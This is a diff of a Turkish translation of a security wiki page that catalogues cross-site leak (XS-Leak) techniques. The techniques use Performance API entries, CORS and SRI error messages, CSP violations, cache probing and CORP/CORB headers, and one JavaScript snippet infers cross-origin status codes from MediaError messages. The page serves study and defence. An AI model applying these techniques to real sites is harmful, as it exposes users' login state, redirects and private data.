Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi tarayıcılarda `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla alınabilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılardaki belirli işlemler için `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
|
||||
Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede render edilmekten engellenirse, `performance` nesnesinde kaydedilmeyecektir, bu da sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlar.
|
||||
Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, `X-Frame-Options` nedeniyle bir sayfanın bir çerçevede görüntülenmesi engellenirse, bu sayfa `performance` nesnesinde kaydedilmeyecek ve sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlayacaktır.
|
||||
|
||||
### Error Leak
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Inclusion Methods**: Frames, HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hatalara neden olan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Summary:** Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
HTTP yanıt durum kodları arasında **ayrım** yapmak mümkündür çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz.
|
||||
|
||||
### Style Reload Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Bir tarayıcı hatası nedeniyle, hatalara neden olan istekler iki kez yüklenir.
|
||||
- **Summary:** Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirten iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla giriş oluşturur ve bu nedenle tespit edilebilir.
|
||||
Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirleyen iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.
|
||||
|
||||
### Request Merging Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hatalara neden olan istekler birleştirilemez.
|
||||
- **Summary:** Hatalarla sonuçlanan istekler birleştirilemez.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak tekniğin tanımı bulunmamıştır. Ancak, [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
|
||||
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak teknikle ilgili bir açıklama bulunmamıştır. Ancak, [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
|
||||
|
||||
### Empty Page Leak
|
||||
|
||||
@ -327,10 +327,10 @@ Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonu
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
|
||||
- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimlerini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik, Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Leaks olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, ardından Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunar.
|
||||
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un meşru betikleri yanlışlıkla engelleyebileceğini ve yanlış pozitiflere yol açabileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavrama XS-Sızıntılar denir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olsa da, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır.
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
@ -340,7 +340,7 @@ Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önl
|
||||
- **Summary:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Eğer bir sayfa **iframe** içinde **render edilmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Eğer bir sayfanın **bir iframe** içinde **görüntülenmesine izin verilmezse**, bu sayfa **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
|
||||
### Download Detection
|
||||
@ -351,7 +351,7 @@ Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
- **Summary:** İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak**, **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır.
|
||||
Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak** da **performans girişi** oluşturmaz. Bu teknik tüm büyük tarayıcılarda çalışır.
|
||||
|
||||
### Redirect Start Leak
|
||||
|
||||
@ -361,7 +361,7 @@ Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kayna
|
||||
- **Summary:** Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Bazı tarayıcıların çapraz kaynak istekleri için çok fazla bilgi kaydetme davranışını kötüye kullanan bir XS-Leak örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özellik tanımlar. Ancak, **SA**'da, hedef sayfanın kullanıcıyı **yönlendirdiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verisini** kontrol ederek.
|
||||
Bazı tarayıcıların çapraz kaynaklı istekler için fazla bilgi kaydetme davranışını istismar eden bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi niteliği tanımlar. Ancak, **SA**'da, kullanıcıyı hedef sayfa tarafından **yönlendirildiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak **redirectStart zamanlama verisini** kontrol ederek.
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
@ -371,7 +371,7 @@ Bazı tarayıcıların çapraz kaynak istekleri için çok fazla bilgi kaydetme
|
||||
- **Summary:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup, bu nedenle yönlendirme ile sonuçlanmayan isteklerden **ayrılabilir**.
|
||||
GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup, bu nedenle **yönlendirme** ile sonuçlanmayan isteklerden **ayrılabilir**.
|
||||
|
||||
### CORP Leak
|
||||
|
||||
@ -381,7 +381,7 @@ GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup,
|
||||
- **Summary:** CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA'nın, CORP etkin kaynaklar için hiç performans girişi oluşturmayacağını unutmayın.
|
||||
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA'nın CORP etkin kaynaklar için hiç performans girişi oluşturmayacağını unutmayın.
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -391,9 +391,9 @@ Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kul
|
||||
- **Summary:** Belirli bir köken için bir hizmet çalışanının kaydedilip kaydedilmediğini tespit edin.
|
||||
- **Code Example**:
|
||||
|
||||
Hizmet çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturulabilir.\
|
||||
Hizmet çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları kesebilir, değiştirebilir ve **önbelleğe alabilir**.\
|
||||
Eğer bir **hizmet çalışanı** tarafından **önbelleğe alınmış** bir **kaynağa** **iframe** aracılığıyla erişilirse, kaynak **hizmet çalışanı önbelleğinden** **yüklenir**.\
|
||||
Kaynağın **hizmet çalışanından** yüklendiğini tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Kaynağın **hizmet çalışanı** önbelleğinden **yüklenip yüklenmediğini** tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin).
|
||||
|
||||
### Cache
|
||||
@ -418,10 +418,10 @@ Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belge
|
||||
|
||||
### Media Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Inclusion Methods**: HTML Elemanları (Video, Ses)
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** Firefox'ta, çapraz kaynak isteğinin durum kodunu doğru bir şekilde sızdırmak mümkündür.
|
||||
- **Summary:** Firefox'ta, çapraz kaynaklı bir isteğin durum kodunu doğru bir şekilde sızdırmak mümkündür.
|
||||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
```javascript
|
||||
// Code saved here in case it dissapear from the link
|
||||
@ -470,60 +470,60 @@ err.message +
|
||||
audioElement.onerror = errHandler
|
||||
}
|
||||
```
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği mesaj içeriğini gözlemleyerek, bir cross-origin kaynağının yanıt durumunu çıkararak istismar edebilir.
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği kullanarak mesaj içeriğini gözlemleyebilir ve böylece bir cross-origin kaynağının yanıt durumunu çıkarabilir.
|
||||
|
||||
### CORS Hatası
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları yanlışlıkla yönlendirilmiş isteklerin tam URL'sini açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini istismar eder. Özellikle, bir **CORS etkin isteği**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında ifşa edilir. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
Bu teknik, bir saldırgana **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir **CORS etkin isteği**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajı içinde ifşa edilir. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirme uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
|
||||
### SRI Hatası
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları yanlışlıkla yönlendirilmiş isteklerin tam URL'sini açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Bir saldırgan, **açık hata mesajlarını** istismar ederek cross-origin yanıtların boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile başarısız olan bir fetch isteğinden sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtların boyutunu çıkarabilir. Bu, Subresource Integrity (SRI) mekanizmasından kaynaklanmaktadır; bu mekanizma, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bu kaynakların **CORS etkin** olması gerekir; aksi takdirde, bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile yapılan bir fetch isteği başarısız olduğunda bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahteden bir hash değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu yanlışlıkla açığa çıkarır. Bu bilgi sızıntısı, bir saldırgana yanıt boyutundaki değişiklikleri ayırt etme imkanı tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
|
||||
### CSP İhlali/Tespiti
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Özet:** Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve farklı bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
|
||||
- **Özet:** Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve bu site farklı bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alan adına bir istek yapıldığında, **cross-origin bir alana yönlendirir**. **CSP,** buna erişimi engeller ve bir **ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu açığa çıkarabilir**.\
|
||||
Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak bir cross-origin yönlendirmesinin tetiklendiğini yine de tespit edebilirsiniz.
|
||||
Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alana bir istek yapıldığında, bu **cross-origin bir alana yönlendirilir**. **CSP,** buna erişimi engeller ve bir **ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirme hedefinin konumunu sızdırabilir**.\
|
||||
Modern tarayıcılar, yönlendirme yapılan URL'yi belirtmeyecek, ancak yine de bir cross-origin yönlendirmesinin tetiklendiğini tespit edebilirsiniz.
|
||||
|
||||
### Önbellek
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Özet:** Dosyayı önbellekten temizle. Hedef sayfayı açar, dosyanın önbellekte olup olmadığını kontrol eder.
|
||||
- **Özet:** Dosyayı önbellekten temizleyin. Hedef sayfayı açar, dosyanın önbellekte mevcut olup olmadığını kontrol eder.
|
||||
- **Kod Örneği:**
|
||||
|
||||
Tarayıcılar, tüm web siteleri için ortak bir önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın **belirli bir dosyayı talep edip etmediğini** çıkarmak mümkündür.
|
||||
|
||||
Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (önbellekte değilse, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış** olmasıdır.
|
||||
Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (yani artık önbelleğe alınmamışsa, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** (örneğin, aşırı uzun bir referans başlığı kullanarak) yüklemeye çalışabilirsiniz. Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış** olmasıdır.
|
||||
|
||||
### CSP Yönergesi
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detaylarını açığa çıkarır.
|
||||
- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detayları açığa çıkarılabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **Bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın, hata sayfasını tanımlayarak bir cross-origin sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanır. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını önermektedir.
|
||||
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir **İçerik Güvenlik Politikası (CSP)** önermesine olanak tanır; bu, politika yönergelerinin HTTP isteği ile birlikte iletilmesini sağlar. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırgana, hata sayfasını tanımlayarak bir cross-origin sayfanın **belirli CSP yönergelerini tespit etme** yolu açar. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını göstermektedir.
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -533,14 +533,14 @@ Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesi
|
||||
- **Özet:** Cross-Origin Resource Policy (CORP) ile güvence altına alınmış kaynaklar, yasaklı bir kökenden alındığında hata verir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
CORP başlığı, belirli bir kaynağa yönelik no-cors cross-origin isteklerini **engelleyen** nispeten yeni bir web platformu güvenlik özelliğidir. CORP ile korunan bir kaynak, **alındığında hata verecektir**.
|
||||
CORP başlığı, belirli bir kaynağa no-cors cross-origin isteklerini **engelleyen** nispeten yeni bir web platformu güvenlik özelliğidir. Bu başlığın varlığı tespit edilebilir; çünkü CORP ile korunan bir kaynak **alındığında hata verir**.
|
||||
|
||||
### CORB
|
||||
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||||
- **Özet**: CORB, saldırganların **istekte `nosniff` başlığının mevcut olup olmadığını** tespit etmelerine olanak tanıyabilir.
|
||||
- **Özet**: CORB, saldırganların istekte **`nosniff` başlığının mevcut olup olmadığını** tespit etmelerine olanak tanıyabilir.
|
||||
